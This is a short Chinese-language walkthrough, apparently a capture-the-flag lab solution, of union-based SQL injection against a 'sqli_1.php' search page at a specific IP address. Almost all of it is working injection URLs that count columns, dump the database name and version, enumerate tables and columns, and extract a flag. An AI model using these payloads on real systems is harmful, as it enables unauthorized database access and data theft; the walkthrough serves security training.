闭合sql语句
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron%20Man
爆列,得到八列为异常,七列为正常,即有七列。
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man' order by 1,2,3,4,5,6,7,8 --+
回显位
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,2,3,4,5,6,7 --+
查看数据库版本、名字
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,database(),version(),4,5,6,7 --+
爆表
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,2,(select group_concat(table_name)from information_schema.tables where database()=table_schema),4,5,6,7--+
报列
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,(select group_concat(column_name)from information_schema.columns where database()=table_schema and table_name='this_flag'),3,4,5,6,7 %23
得到flag
http://47.103.94.191:8015/sqli_1.php
?action=search&title=Iron Man123' union select 1,(select group_concat(flag)from whalwl.this_flag),3,4,5,6,7 %23
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。